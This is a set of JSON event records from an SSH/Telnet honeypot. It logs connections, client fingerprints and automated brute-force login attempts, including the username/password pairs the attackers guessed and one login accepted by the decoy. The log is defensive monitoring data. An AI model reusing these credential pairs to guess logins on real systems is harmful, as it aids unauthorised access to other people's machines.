{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65274,"dst_ip":"10.17.0.5","dst_port":22,"session":"826ec3803cf9","protocol":"ssh","message":"New connection: 91.92.40.36:65274 (10.17.0.5:22) [session: 826ec3803cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:10.804373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:11.766536Z","src_ip":"91.92.40.36","session":"826ec3803cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:11.770303Z","src_ip":"91.92.40.36","session":"826ec3803cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40930,"dst_ip":"159.203.135.109","dst_port":23,"session":"c69fcc01d3de","protocol":"telnet","message":"New connection: 128.199.8.54:40930 (159.203.135.109:23) [session: c69fcc01d3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:12.864330Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52994,"dst_ip":"10.17.0.5","dst_port":22,"session":"76da170cabdf","protocol":"ssh","message":"New connection: 91.92.40.36:52994 (10.17.0.5:22) [session: 76da170cabdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:17.974644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:18.626429Z","src_ip":"91.92.40.36","session":"76da170cabdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:18.629850Z","src_ip":"91.92.40.36","session":"76da170cabdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.091816663742065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:19.005384Z","src_ip":"172.81.62.90","session":"7ac9814b7362","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:20.038912Z","src_ip":"91.92.40.36","session":"826ec3803cf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test@123","message":"login attempt [test/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:22.331568Z","src_ip":"91.92.40.36","session":"76da170cabdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:22.869271Z","src_ip":"91.92.40.36","session":"826ec3803cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53100,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f27423b1963","protocol":"ssh","message":"New connection: 91.92.40.36:53100 (10.17.0.5:22) [session: 3f27423b1963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:24.386796Z"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:24.406868Z","src_ip":"91.92.40.36","session":"76da170cabdf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:25.767211Z","src_ip":"91.92.40.36","session":"3f27423b1963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:25.771511Z","src_ip":"91.92.40.36","session":"3f27423b1963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57600,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb62653b6d46","protocol":"ssh","message":"New connection: 109.237.96.109:57600 (159.203.135.109:22) [session: eb62653b6d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:26.808979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:26.813969Z","src_ip":"109.237.96.109","session":"eb62653b6d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:26.902990Z","src_ip":"109.237.96.109","session":"eb62653b6d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcasdqw","message":"login attempt [root/zxcasdqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:27.174652Z","src_ip":"109.237.96.109","session":"eb62653b6d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:28.268516Z","src_ip":"109.237.96.109","session":"eb62653b6d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eva","password":"eva","message":"login attempt [eva/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:30.907006Z","src_ip":"91.92.40.36","session":"3f27423b1963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20762,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b4e93856c71","protocol":"ssh","message":"New connection: 91.92.40.36:20762 (10.17.0.5:22) [session: 9b4e93856c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:32.313087Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44942,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b25bc8c5eec","protocol":"telnet","message":"New connection: 94.23.66.112:44942 (10.17.0.5:23) [session: 9b25bc8c5eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:32.895479Z"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:32.986368Z","src_ip":"91.92.40.36","session":"3f27423b1963","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:33.297615Z","src_ip":"91.92.40.36","session":"9b4e93856c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:33.300560Z","src_ip":"91.92.40.36","session":"9b4e93856c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.77281665802002,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:36.860644Z","src_ip":"107.6.151.170","session":"33361e87e4cc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:37.334073Z","src_ip":"91.92.40.36","session":"9b4e93856c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:39.377423Z","src_ip":"91.92.40.36","session":"9b4e93856c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24784,"dst_ip":"10.17.0.5","dst_port":22,"session":"14330876ad5b","protocol":"ssh","message":"New connection: 91.92.40.36:24784 (10.17.0.5:22) [session: 14330876ad5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:39.479795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:40.527392Z","src_ip":"91.92.40.36","session":"14330876ad5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:40.530773Z","src_ip":"91.92.40.36","session":"14330876ad5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":55584,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1c387ccd4dc","protocol":"ssh","message":"New connection: 103.84.236.242:55584 (159.203.135.109:22) [session: b1c387ccd4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:41.945332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:41.949797Z","src_ip":"103.84.236.242","session":"b1c387ccd4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:42.180751Z","src_ip":"103.84.236.242","session":"b1c387ccd4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abomb","password":"abomb","message":"login attempt [abomb/abomb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:43.139589Z","src_ip":"103.84.236.242","session":"b1c387ccd4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":56616,"dst_ip":"10.17.0.5","dst_port":22,"session":"279c8e58a199","protocol":"ssh","message":"New connection: 46.19.67.181:56616 (10.17.0.5:22) [session: 279c8e58a199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:43.318571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:43.323123Z","src_ip":"46.19.67.181","session":"279c8e58a199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:43.440213Z","src_ip":"46.19.67.181","session":"279c8e58a199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buhgalter","message":"login attempt [root/buhgalter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:43.790316Z","src_ip":"46.19.67.181","session":"279c8e58a199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:44.372440Z","src_ip":"103.84.236.242","session":"b1c387ccd4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:44.908449Z","src_ip":"46.19.67.181","session":"279c8e58a199","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:45.939029Z","src_ip":"91.92.40.36","session":"14330876ad5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.128326892852783,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:46.023705Z","src_ip":"94.23.66.112","session":"9b25bc8c5eec","protocol":"telnet"}
